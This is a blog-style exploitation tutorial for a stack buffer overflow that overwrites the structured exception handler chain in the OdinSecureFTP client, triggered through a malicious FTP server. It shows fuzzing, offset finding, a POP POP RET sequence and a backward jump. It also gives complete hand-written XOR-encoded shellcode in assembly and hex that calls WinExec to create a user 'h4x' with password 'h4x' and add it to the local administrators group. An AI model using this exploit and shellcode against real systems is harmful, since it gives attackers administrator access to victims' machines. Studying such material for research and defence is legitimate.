Avoiding badchars & small buffers with custom shellcode – OdinSecureFTPclient SEH exploit

Written by  on August 10, 2015 

Hi there fellow pirates P-) ! This time we’ll be studying a vuln I just found on OdineSecureFTP client. Using the evil ftp server I fuzzed the aplication and discovered an interesting vuln. This vuln may seem a litle hard to exploit but we’ll do that by crafting our own shellcode.

We’ll start by fuzzing the app with a standard 5000 A’s buffer

1

After the app connects to evil ftp server it’ll get crashed

2

And we notice that we don’t control EIP register, but SEH chain gets overwritten.

3

As we can see our A’s overwrite all the chain

4

And after passing the exception we fully control EIP.

5

At this point, looking 2 positions down our program’s heap, we can see that we have exactly 4 bytes of buffer.

6

Now as usual we use metasploit to generate a pattern and look for the exact bytes that overwrite SEH.

7

We start crafting our exploit template.

8

And we re launch the attack

9

SEH gets overwritten at 263 bytes.

10

So we can check it.

11

Excelent, full control of the program’s execution flow.

12

Now after passing the exception and using a POP POP RET sequence, we get to our 4 bytes small buffer. But we notice that we got more space just behind our 4 bytes.

14

We can go backwards inside our buffer by running a SHORT JUMP backwards. EB 80 will take us 125 bytes aprox backwards.

15

We can check that

16

And after runing the jump we go backwards, so we can place our bigger shellcode there.

17

Next thing to do is to check if badchars exist, we can try that by sending a buffer containing all ASCII chars and look the program’s reaction.

18

We notice that the char ‘ ‘(space) or ASCII 20 is a badchar and breaks our code.

19

We’ll have to take note about that as we’ll have to avoid \x20 in our shellcode.

 

A thing that we can do to deal with this vuln is write our own shellcode, metasploit shellcode will not work here as we have only 125 bytes in this memory area and \x20 is badchar so encoding the shellcode will increase it’s size.

What I’ve done here was work directly with windows API. In this first example I generated a simple msgbox shellcode.

First of all I checked for the MessageBoxA address in my current windows version with arwin (www.vividmachines.com/shellcode/arwin.c)

arwinmsgbox

After checking that and taking note about the address I was able to call the MessageBoxA function. Its structure is the following:

int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
);

As we can see we have to pass 4 arguments. Interesting argumetns are lpCaption(title) and lpText(text). Parameters can be passed to the function using the heap. So we have to push all parameters to the stack (reversed) and then call the function.

 

But how we deal with badchars here? What happens if the text we have to push has a space or a null byte? We can pass all the information encrypted using a XOR key, then decrypt that inside of a register and finally push it to the stack, it’s easier than it looks, just look at the following piece of code:

MOV EAX,77D36476
MOV EBX, 11383c41
XOR EBX, 11111111
PUSH EBX
push 7c6e3079
push 6c7c7962
push 7c64336e
push 77707c6e
push 6565627c
push 65766148
push 7c756f59
MOV EDI,ESP
XOR ESI,ESI
PUSH ESI
PUSH ESI
PUSH EDI
PUSH ESI
CALL EAX

Encoded in HEX will look like:

\xB8\x76\x64\xD3\x77\xBB\x41\x3C\x38\x11
\x81\xF3\x11\x11\x11\x11\x53\x68\x79\x30
\x6E\x7C\x68\x62\x79\x7C\x6C\x68\x6E\x33
\x64\x7C\x68\x6E\x7C\x70\x77\x68\x7C\x62
\x65\x65\x68\x48\x61\x76\x65\x68\x59\x6F
\x75\x7C\x8B\xFC\x33\xF6\x56\x56\x57\x56
\xFF\xD0

We can see how it works inside OLLY

msgbox1

If we run the CALL we can see all the parameters in the heap.

msgbox2

And if we check that outside of the debugger:

finalmsgbox

Nice, MessageBoxes can be troll, but we need something more interesting. Following the same procedure we can do some more interesting stuff, like running the WinExec function to run commands on the remote system!

We can search its address with arwin

arwinexec

Look for the function structure:

UINT WINAPI WinExec(
  _In_ LPCSTR lpCmdLine,
  _In_ UINT   uCmdShow
);

We can run the function the same way we did previously, all parameters passed via the heap. We’ll run a cmd that will add a user called h4x with h4x as password:

MOV EAX, 77E4FD35
MOV EBX, 11111169
XOR EBX, 11111111
PUSH EBX
MOV EBX, 25793169
XOR EBX, 11111111
PUSH EBX
MOV EBX, 25793175
XOR EBX, 11111111
PUSH EBX
MOV EBX, 75703e31
XOR EBX, 11111111
PUSH EBX
MOV EBX, 63746264
XOR EBX, 11111111
PUSH EBX
MOV EBX, 3165747f
XOR EBX, 11111111
PUSH EBX
MOV EDI, ESP
XOR ESI, ESI
PUSH ESI
PUSH EDI
CALL EAX

Following shellcode was generated:

\xB8\x35\xFD\xE4\x77\xBB\x69\x11\x11\x11\x81\xF3
\x11\x11\x11\x11\x53\xBB\x69\x31\x79\x25\x81\xF3
\x11\x11\x11\x11\x53\xBB\x75\x31\x79\x25\x81\xF3
\x11\x11\x11\x11\x53\xBB\x31\x3E\x70\x75\x81\xF3
\x11\x11\x11\x11\x53\xBB\x64\x62\x74\x63\x81\xF3
\x11\x11\x11\x11\x53\xBB\x7F\x74\x65\x31\x81\xF3
\x11\x11\x11\x11\x53\x8B\xFC\x33\xF6\x56\x57\xFF
\xD0

And after testing that, everything works ok

addusr

Now we can deal with our limited space, we noticed that we have even more space behind our first stage buffer, we can get to about 125 extra bytes. We can get there by doing a small calculation using one of the program’s registers and then doing a jump as we can see here:

longjump

And then we’ll go to our second stage payload, here we can run another cmd like the one I ran, this will add the user h4x to admin group on the remote box:

MOV EAX, 77E4FD35
mov ebx, 11915679
xor ebx, 11111111
push ebx
mov ebx, 31757570
xor ebx, 11111111
push ebx
mov ebx, 3e316274
xor ebx, 11111111
push ebx
push 726f6461
push 72747369
push 6E696D64
mov ebx, 70316164
xor ebx, 11111111
push ebx
push 6F72676C
push 61636F6C
mov ebx, 3165747f
xor ebx, 11111111
push ebx
MOV EDI, ESP
XOR ESI, ESI
PUSH ESI
PUSH EDI
CALL EAX

Following shellcode was generated:

\xB8\x35\xFD\xE4\x77\xBB\x79\x25\x69\x11\x81\xF3
\x11\x11\x11\x11\x53\xBB\x70\x75\x75\x31\x81\xF3
\x11\x11\x11\x11\x53\xBB\x74\x62\x31\x3E\x81\xF3
\x11\x11\x11\x11\x53\x68\x61\x64\x6F\x72\x68\x69
\x73\x74\x72\x68\x64\x6D\x69\x6E\xBB\x64\x61\x31
\x70\x81\xF3\x11\x11\x11\x11\x53\x68\x6C\x67\x72
\x6F\x68\x6C\x6F\x63\x61\xBB\x7F\x74\x65\x31\x81
\xF3\x11\x11\x11\x11\x53\x8B\xFC\x33\xF6\x56\x57
\xFF\xD0

Now we can add this to our exploit and run it.

longjump2

And after doing that we can see that everything works perfectly.

The meaning of this post is seeing that we don’t have to put limits in our explotation, even if metasploit fails and seems unable to generate the desired shellcode, this might now be the end, we then can move to something more advanced and craft our shellcode manually.

h4x

Game over P-)

Category : exploiting

Tags :

Leave a Reply

Your email address will not be published. Required fields are marked *